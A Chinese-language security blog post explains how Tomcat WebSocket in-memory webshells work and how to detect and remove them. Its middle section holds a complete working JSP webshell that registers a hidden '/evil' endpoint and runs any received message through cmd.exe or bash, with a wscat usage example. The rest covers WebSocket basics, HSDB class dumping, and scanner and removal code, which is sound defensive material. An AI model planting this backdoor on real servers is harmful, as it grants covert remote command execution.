对 Tomcat WebSocket 型内存马的介绍
WS 前言 WebSocket 是一种全双工通信协议,即客户端可以向服务端发送请求,服务端也可以主动向客户端推送数据。这样的特点,使得它在一些实时性要求比较高的场景效果斐然(比如微信朋友圈实时通知、在线协同编辑等),主流浏览器以及一些常见服务端通信框架(Tomcat、Spring、Jetty、WebSphere、WebLogic 等)都对 WebSocket 进行了技术支持,本文都以 Tomcat 进行介绍讨论,其他框架也可实现 WebSocket 内存马
2013 年以前还没出 JSR356 标准,Tomcat 就对 Websocket 做了支持,自定义 API,再后来有了 JSR356,Tomcat 立马紧跟潮流,废弃自定义的 API,实现 JSR356 那一套,这就使得在Tomcat7.0.47
之后的版本和之前的版本实现方式并不一样,接入方式也改变了,JSR356 是 Java 制定的 Websocket 编程规范,属于 Java EE 7 的一部分,所以要实现 Websocket 功能并不需要任何第三方依赖
根据 JSR356 规定, 建立 WebSocket 连接的服务器端和客户端,两端对称,可以互相通信。把通信端点抽象成类,就是Endpoint
,每一个 Endpoint 对象代表 WebSocket 链接的一端,服务器端的叫ServerEndpoint
,客户端的叫ClientEndpoint
。客户端向服务端发送 WebSocket 握手请求,建立连接后就创建一个ServerEndpoint
对象
WS 实现 ServerEndpoint 和 ClientEndpoint,有相同的生命周期事件(OnOpen、OnClose、OnError、OnMessage),不同之处是 ServerEndpoint 作为服务器端点,可以指定一个 URI 路径供客户端连接,ClientEndpoint 则没有,Endpoint 对象的生命周期方法如下:
onOpen:当开启一个新的会话时调用。这是客户端与服务器握手成功后调用的方法,等同于注解@OnOpen
onClose:当会话关闭时调用。等同于注解@OnClose
onError:当链接过程中异常时调用。等同于注解@OnError
onMessage:接收到消息时触发。等同于注解@OnMessage
服务器端的Endpoint
有两种实现方式,一种是注解方式@ServerEndpoint
,一种是继承抽象类Endpoint
使用注解实现:
一个@ServerEndpoint
注解应该有以下元素:
value
:必要,String 类型,此 Endpoint 部署的 URI 路径
configurator
:非必要,继承ServerEndpointConfig.Configurator
的类,主要提供 ServerEndpoint 对象的创建方式扩展(如果使用 Tomcat 的 WebSocket 实现,默认是反射创建 ServerEndpoint 对象)
decoders
:非必要,继承 Decoder 的类,用户可以自定义一些消息解码器,比如通信的消息是一个对象,接收到消息可以自动解码封装成消息对象
encoders
:非必要,继承 Encoder 的类,此端点将使用的编码器类的有序数组,定义解码器和编码器的好处是可以规范使用层消息的传输
subprotocols
:非必要,String 数组类型,用户在 WebSocket 协议下自定义扩展一些子协议
例如:
1 @ServerEndpoint(value="/ws/{userId}", encoders={MessageEncoder.class}, decoders={MessageDecoder.class}, configurator=MyServerConfigurator.class)
@ServerEndpoint
可以注解到任何类上,但是想实现服务端的完整功能,还需要配合几个生命周期的注解使用,这些生命周期注解只能注解在方法上:
@OnOpen
建立连接时触发
@OnClose
关闭连接时触发
@OnError
发生异常时触发
@OnMessage
接收到消息时触发
集成抽象类实现:
继承抽象类Endpoint
,重写几个生命周期方法,实现两个接口,比加注解 @ServerEndpoint
方式更麻烦,其中重写onMessage
需要实现接口jakarta.websocket.MessageHandler
,给 Endpoint 分配 URI 路径需要实现接口jakarta.websocket.server.ServerApplicationConfig
,而URI path
、encoders
、decoders
、configurator
等配置信息由jakarta.websocket.server.ServerEndpointConfig
管理,默认实现jakarta.websocket.server.DefaultServerEndpointConfig
,通过编程方式实现 Endpoint,比如:
1 ServerEndpointConfig serverEndpointConfig = ServerEndpointConfig.Builder.create(WebSocketServerEndpoint3.class, "/ws/{userId}" ).decoders(decoderList).encoders(encoderList).configurator(new MyServerConfigurator ()).build();
下面基于注解编写一个 WebSocket 的聊天室,依赖(我的环境是 JDK8u341 + Tomcat 8.5.84):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <dependencies > <dependency > <groupId > javax.servlet</groupId > <artifactId > javax.servlet-api</artifactId > <version > 4.0.1</version > <scope > provided</scope > </dependency > <dependency > <groupId > javax</groupId > <artifactId > javaee-api</artifactId > <version > 7.0</version > <scope > provided</scope > </dependency > <dependency > <groupId > org.apache.tomcat</groupId > <artifactId > tomcat-catalina</artifactId > <version > 8.5.84</version > <scope > provided</scope > </dependency > <dependency > <groupId > org.apache.tomcat</groupId > <artifactId > tomcat-websocket</artifactId > <version > 8.5.84</version > <scope > provided</scope > </dependency > </dependencies >
类 demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 package WebSocket;import java.io.IOException;import java.util.concurrent.CopyOnWriteArraySet;import javax.websocket.*;import javax.websocket.server.ServerEndpoint;@ServerEndpoint("/websocket") public class demo { private static int onlineCount = 0 ; private static final CopyOnWriteArraySet<demo> webSocketSet = new CopyOnWriteArraySet <>(); private Session session; @OnOpen public void onOpen (Session session) { this .session = session; webSocketSet.add(this ); addOnlineCount(); System.out.println("有新连接加入!当前在线人数为" + getOnlineCount()); } @OnClose public void onClose () { webSocketSet.remove(this ); subOnlineCount(); System.out.println("有一连接关闭!当前在线人数为" + getOnlineCount()); } @OnMessage public void onMessage (String message, Session session) { System.out.println("来自客户端的消息:" + message); for (demo item: webSocketSet) { try { item.sendMessage(message); } catch (IOException e) { e.printStackTrace(); } } } @OnError public void onError (Session session, Throwable error) { System.out.println("发生错误" ); error.printStackTrace(); } public void sendMessage (String message) throws IOException { this .session.getBasicRemote().sendText(message); } public static synchronized int getOnlineCount () { return onlineCount; } public static synchronized void addOnlineCount () { demo.onlineCount++; } public static synchronized void subOnlineCount () { demo.onlineCount--; } }
对应的 JSP 文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 <%@ page language="java" pageEncoding="UTF-8" %> <!DOCTYPE html> <html> <head> <title>Java后端WebSocket的Tomcat实现</title> </head> <body> Welcome <br/><label for ="text" ></label><input id="text" type="text" /> <button onclick="send()" >发送消息</button><hr/> <button onclick="closeWebSocket()" >关闭WebSocket连接</button><hr/> <div id="message" ></div> </body> <script type="text/javascript" > let websocket = null ; if ('WebSocket' in window) { websocket = new WebSocket ("ws://localhost:8080/TomcatShell_war_exploded/websocket" ); } else { alert('当前浏览器 Not support websocket' ) } websocket.onerror = function () { setMessageInnerHTML("WebSocket连接发生错误" ); }; websocket.onopen = function () { setMessageInnerHTML("WebSocket连接成功" ); } websocket.onmessage = function (event) { setMessageInnerHTML(event.data); } websocket.onclose = function () { setMessageInnerHTML("WebSocket连接关闭" ); } window.onbeforeunload = function () { closeWebSocket(); } function setMessageInnerHTML (innerHTML) { document.getElementById('message' ).innerHTML += innerHTML + '<br/>' ; } function closeWebSocket () { websocket.close(); } function send () { const message = document.getElementById('text' ).value; websocket.send(message); } </script> </html>
访问:http://localhost:8080/TomcatShell_war_exploded/WebSocket/demo.jsp
(注意修改路径),可以模拟多个用户登陆的情况(也可以直接用 wscat 等工具连接 WebSocket 服务器),效果如图:
加载过程 Tomcat 提供了一个javax.servlet.ServletContainerInitializer
的实现类org.apache.tomcat.websocket.server.WsSci
,Tomcat 的 WebSocket 加载是通过 SCI 机制完成的 ,WsSCI 可以处理的类型有三种:
添加了注解@ServerEndpoint
的类
Endpoint 的子类
ServerApplicationConfig 的实现类
Tomcat 在 Web 应用启动时会在 StandardContext 的 startInternal 方法里通过 WsSci 的 onStartup 方法初始化 Listener 和 servlet,再扫描 classpath下带有注解@ServerEndpoint
的类和 Endpoint 子类
如果当前应用存在 ServerApplicationConfig 实现,则通过 ServerApplicationConfig 获取 Endpoint 子类的配置(ServerEndpointConfig 实例,包含了请求路径等信息)和符合条件的注解类,通过调用 addEndpoint 将结果注册到 WebSocketContainer 上;如果当前应用没有定义 ServerApplicationConfig 的实现类,那么 WsSci 默认只将所有扫描到的注解式 Endpoint 注册到 WebSocketContainer。因此,如果采用可编程方式定义 Endpoint,那么必须添加 ServerApplicationConfig 实现
然后 startInternal 方法里为 ServletContext 添加一个过滤器org.apache.tomcat.websocket.server.WsFilter
,它用于判断当前请求是否为 WebSocket 请求,以便完成握手(所以任何 Tomcat 都可以用 java-memshell-scanner 看到 WsFilter)
既然要插入恶意 Filter,那么我们就需要在 Tomcat 启动过程中寻找添加 FIlter 的方法,而 filterDef、filterMap、filterConfigs 都是 StandardContext 对象的属性,并且也有相应的 add 方法,那么我们就需要先获取 StandardContext,再调用相应的方法
WebSocket 内存马也很类似,上一节提到了 WsSci 的 onStartup 扫描 classpath 下带有注解@ServerEndpoint
的类和 Endpoint 子类,并且调用 addEndpoint 方法注册到 WebSocketContainer 上。那么我们应该从 WebSocketContainer 出发,而 WsServerContainer 是在 StandardContext 里面创建的,那么,显而易见的:
获取当前的 StandardContext
通过 StandardContext 获取 ServerContainer
定义一个恶意类,并创建一个 ServerEndpointConfig,给这个恶意类分配 URL Path
调用ServerContainer.addEndpoint
方法,将创建的 ServerEndpointConfig 添加进去
1 2 3 ServerContainer container = (ServerContainer) req.getServletContext().getAttribute(ServerContainer.class.getName());ServerEndpointConfig config = ServerEndpointConfig.Builder.create(evil.class, "/ws" ).build();container.addEndpoint(config);
上面的代码片段是整体思想的展示,下面的展示了这种木马:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <%@ page import ="javax.websocket.server.ServerEndpointConfig" %> <%@ page import ="javax.websocket.server.ServerContainer" %> <%@ page import ="javax.websocket.*" %> <%@ page import ="java.io.*" %> <%! public static class C extends Endpoint implements MessageHandler .Whole<String> { private Session session; @Override public void onMessage (String s) { try { Process process; boolean bool = System.getProperty("os.name" ).toLowerCase().startsWith("windows" ); if (bool) { process = Runtime.getRuntime().exec(new String []{"cmd.exe" , "/c" , s}); } else { process = Runtime.getRuntime().exec(new String []{"/bin/bash" , "-c" , s}); } InputStream inputStream = process.getInputStream(); StringBuilder stringBuilder = new StringBuilder (); int i; while ((i = inputStream.read()) != -1 ) stringBuilder.append((char )i); inputStream.close(); process.waitFor(); session.getBasicRemote().sendText(stringBuilder.toString()); } catch (Exception exception) { exception.printStackTrace(); } } @Override public void onOpen (final Session session, EndpointConfig config) { this .session = session; session.addMessageHandler(this ); } } %> <% String path = "/evil" ; ServletContext servletContext = request.getSession().getServletContext(); ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build(); ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); try { if (servletContext.getAttribute(path) == null ) { container.addEndpoint(configEndpoint); servletContext.setAttribute(path, path); } out.println("success, connect url path: " + servletContext.getContextPath() + path); } catch (Exception e) { out.println(e.toString()); } %>
先访问对应的路径(就是上面 JSP 所在的路径)把内存马激活加载进 Tomcat,然后使用 wscat 进行连接:
1 2 3 4 wscat -c ws://localhost:8080/TomcatShell_war_exploded/evil Connected (press CTRL+C to quit) > calc <
注意路径、端口号和协议,使用 Java 而不是 JSP 也是可以注入的,其他地方都相似,重点在于 servletContext 的获取和激活注入内存马
内存马查杀 我们可以先来使用 Java 自带的 JVM 内存查看工具 HSDB 来 dump 出内存马的字节码,这个工具在 Java 根目录的 lib 目录下,我们进入那个目录,使用命令:
1 java -cp sa-jdi.jar sun.jvm.hotspot.HSDB
打开这个工具,在 File 下拉菜单里选择附加到进程,输入 Java 的进程号,然后在 Tools 下拉菜单选择 Class Browser,搜索Endpoint
:
可以看到第一个类public abstract class javax.websocket.Endpoint
,我们点进去,再选择View Class Hierarchy
:
可以看到一个类WebSocket.Evil
,这就是我们的内存马,可以点击去然后选择Create .class File
,这样就拿到了我们的内存马的字节码(在 Java 根目录下),然后就可以反编译进行分析了,这里还有一种方法,可以更快的查杀内存马:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 package WebSocket;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import javax.websocket.server.ServerContainer;import javax.websocket.server.ServerEndpointConfig;import java.io.IOException;import java.io.PrintWriter;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.ArrayList;import java.util.Iterator;import java.util.List;import java.util.Map;import java.util.concurrent.ConcurrentHashMap;@WebServlet(urlPatterns = "/ws/find") public class Find extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { List<ServerEndpointConfig> configs; try { configs = getEndpointConfigs(req); for (ServerEndpointConfig cfg : configs) { resp.setContentType("text/html" ); PrintWriter out = resp.getWriter(); out.println("<h3>Path: " + cfg.getPath() + "</h3>" ); out.println("<p>name: " + cfg.getEndpointClass().getName() + "</p" ); out.println("<p>classloader name: " + cfg.getEndpointClass().getClassLoader().getClass().getName() + "</p>" ); out.println("<a href=http://localhost:8080/TomcatShell_war_exploded/WebSocket/dump.jsp?class=" + cfg.getEndpointClass().getName() + ">dump</a>" ); out.println("<a href=http://localhost:8080/TomcatShell_war_exploded/WebSocket/dump.jsp?kill=" + cfg.getPath() + ">kill</a>" ); } } catch (Exception e) { e.printStackTrace(); } } public static synchronized List<ServerEndpointConfig> getEndpointConfigs (HttpServletRequest request) throws Exception { ServerContainer sc = (ServerContainer) request.getServletContext().getAttribute(ServerContainer.class.getName()); Field _configExactMatchMap = sc.getClass().getDeclaredField("configExactMatchMap" ); _configExactMatchMap.setAccessible(true ); ConcurrentHashMap configExactMatchMap = (ConcurrentHashMap) _configExactMatchMap.get(sc); Class _ExactPathMatch = Class.forName("org.apache.tomcat.websocket.server.WsServerContainer$ExactPathMatch" ); Method _getConfig = _ExactPathMatch.getDeclaredMethod("getConfig" ); _getConfig.setAccessible(true ); List<ServerEndpointConfig> configs = new ArrayList <>(); Iterator<Map.Entry<String, Object>> iterator = configExactMatchMap.entrySet().iterator(); while (iterator.hasNext()) { Map.Entry<String, Object> entry = iterator.next(); ServerEndpointConfig config = (ServerEndpointConfig) _getConfig.invoke(entry.getValue()); configs.add(config); } return configs; } }
另一个文件WebSocket/dump.jsp
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <%@ page import ="com.sun.org.apache.bcel.internal.Repository" %> <%@ page import ="java.net.URLEncoder" %> <%@ page import ="org.apache.tomcat.websocket.server.WsServerContainer" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="java.util.Map" %> <%@ page import ="javax.websocket.server.ServerContainer" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Title</title> </head> <body> <% if (request.getParameter("class" ) != null ) { String className = request.getParameter("class" ); try { byte [] classBytes = Repository.lookupClass(Class.forName(className)).getBytes(); response.addHeader("content-Type" , "application/octet-stream" ); String filename = Class.forName(className).getSimpleName() + ".class" ; String agent = request.getHeader("User-Agent" ); if (agent.toLowerCase().indexOf("chrome" ) > 0 ) { response.addHeader("content-Disposition" , "attachment;filename=" + new String (filename.getBytes("UTF-8" ), "ISO8859-1" )); } else { response.addHeader("content-Disposition" , "attachment;filename=" + URLEncoder.encode(filename, "UTF-8" )); } ServletOutputStream outDumper = response.getOutputStream(); outDumper.write(classBytes, 0 , classBytes.length); outDumper.close(); } catch (Exception e) { e.printStackTrace(); } } if (request.getParameter("kill" ) != null ) { String webSocket = request.getParameter("kill" ); ServletContext servletContext = request.getServletContext(); WsServerContainer wsServerContainer = (WsServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); Class<?> obj = Class.forName("org.apache.tomcat.websocket.server.WsServerContainer" ); Field field = obj.getDeclaredField("configExactMatchMap" ); field.setAccessible(true ); Map<String, Object> configExactMatchMap = (Map<String, Object>) field.get(wsServerContainer); configExactMatchMap.remove(webSocket); out.write("<input type=\"button\" name=\"Submit\" onclick=\"javascript:window.location.replace(document.referrer);\" value=\"返回上一页\">" ); } %> </body> </html>
效果如下(代码参考了:c0ny1 java-memshell-scanner 、ruyueattention java-memshell-scanner ):
这样不仅可以 dump 字节码,还可以清除内存马,但是对于已连接的 WebSocket 似乎不会生效 ,也就设说无法使已经连接上服务端木马的连接断开,然后我起初在 Session 类里发现了close()
方法,但是没有找到一个很好的返回所有已建立 Session 连接的接口,然后在org.apache.tomcat.websocket.server.WsServerContainer
里发现了destroy()
方法,它的作用是这样的:
Cleans up the resources still in use by WebSocket sessions created from this container. This includes closing sessions and cancelling Futures associated with blocking read/writes
清除从此容器创建的 WebSocket 会话仍在使用的资源。 这包括关闭会话和取消与阻塞读/写相关的 Futures
发现这样确实可以解决上面的问题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <%@ page import ="com.sun.org.apache.bcel.internal.Repository" %> <%@ page import ="java.net.URLEncoder" %> <%@ page import ="org.apache.tomcat.websocket.server.WsServerContainer" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="java.util.Map" %> <%@ page import ="javax.websocket.server.ServerContainer" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Title</title> </head> <body> <% if (request.getParameter("class" ) != null ) { String className = request.getParameter("class" ); try { byte [] classBytes = Repository.lookupClass(Class.forName(className)).getBytes(); response.addHeader("content-Type" , "application/octet-stream" ); String filename = Class.forName(className).getSimpleName() + ".class" ; String agent = request.getHeader("User-Agent" ); if (agent.toLowerCase().indexOf("chrome" ) > 0 ) { response.addHeader("content-Disposition" , "attachment;filename=" + new String (filename.getBytes("UTF-8" ), "ISO8859-1" )); } else { response.addHeader("content-Disposition" , "attachment;filename=" + URLEncoder.encode(filename, "UTF-8" )); } ServletOutputStream outDumper = response.getOutputStream(); outDumper.write(classBytes, 0 , classBytes.length); outDumper.close(); } catch (Exception e) { e.printStackTrace(); } } if (request.getParameter("kill" ) != null ) { String webSocket = request.getParameter("kill" ); ServletContext servletContext = request.getServletContext(); WsServerContainer wsServerContainer = (WsServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); Class<?> obj = Class.forName("org.apache.tomcat.websocket.server.WsServerContainer" ); Field field = obj.getDeclaredField("configExactMatchMap" ); field.setAccessible(true ); Map<String, Object> configExactMatchMap = (Map<String, Object>) field.get(wsServerContainer); wsServerContainer.destroy(); configExactMatchMap.remove(webSocket); out.write("<input type=\"button\" name=\"Submit\" onclick=\"javascript:window.location.replace(document.referrer);\" value=\"返回上一页\">" ); } %> </body> </html>
但这样似乎会影响到其它正常的 WebSocket 连接,接着上面的思路,找到了一种能返回所有(这里的所有是指定 WebSocket 路径下的所有连接)Session 的方法,这样就可以只断开我们所指定的 WebSocket 木马:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 <%@ page import ="com.sun.org.apache.bcel.internal.Repository" %> <%@ page import ="java.net.URLEncoder" %> <%@ page import ="org.apache.tomcat.websocket.server.WsServerContainer" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="java.util.Map" %> <%@ page import ="javax.websocket.server.ServerContainer" %> <%@ page import ="java.lang.reflect.Method" %> <%@ page import ="javax.websocket.Session" %> <%@ page import ="java.util.Set" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Title</title> </head> <body> <% if (request.getParameter("class" ) != null ) { String className = request.getParameter("class" ); try { byte [] classBytes = Repository.lookupClass(Class.forName(className)).getBytes(); response.addHeader("content-Type" , "application/octet-stream" ); String filename = Class.forName(className).getSimpleName() + ".class" ; String agent = request.getHeader("User-Agent" ); if (agent.toLowerCase().indexOf("chrome" ) > 0 ) { response.addHeader("content-Disposition" , "attachment;filename=" + new String (filename.getBytes("UTF-8" ), "ISO8859-1" )); } else { response.addHeader("content-Disposition" , "attachment;filename=" + URLEncoder.encode(filename, "UTF-8" )); } ServletOutputStream outDumper = response.getOutputStream(); outDumper.write(classBytes, 0 , classBytes.length); outDumper.close(); } catch (Exception e) { e.printStackTrace(); } } if (request.getParameter("kill" ) != null ) { int count = 0 ; String webSocket = request.getParameter("kill" ); ServletContext servletContext = request.getServletContext(); WsServerContainer wsServerContainer = (WsServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); Class<?> obj = Class.forName("org.apache.tomcat.websocket.server.WsServerContainer" ); Field field = obj.getDeclaredField("configExactMatchMap" ); field.setAccessible(true ); Map<String, Object> configExactMatchMap = (Map<String, Object>) field.get(wsServerContainer); Method method = Class.forName("org.apache.tomcat.websocket.WsWebSocketContainer" ).getDeclaredMethod("getOpenSessions" , new Class []{Object.class}); method.setAccessible(true ); Set<Session> sessions = (Set<Session>) method.invoke(wsServerContainer, webSocket); for (Session s : sessions) { System.out.println(s); count++; s.close(); } configExactMatchMap.remove(webSocket); out.write("清除了 " + webSocket + " 关闭了 " + count + " 个已存在的 WebSocket 连接</br>" ); out.write("<input type=\"button\" name=\"Submit\" onclick=\"javascript:window.location.replace(document.referrer);\" value=\"返回上一页\">" ); } %> </body> </html>
对指定路径下的所有 WebSocket 连接调用close()
方法,然后把对应的路径从configExactMatchMap
移除:
本文参考链接:
Tomcat WebSocket内存马原理浅析
websocket 新型内存马的应急响应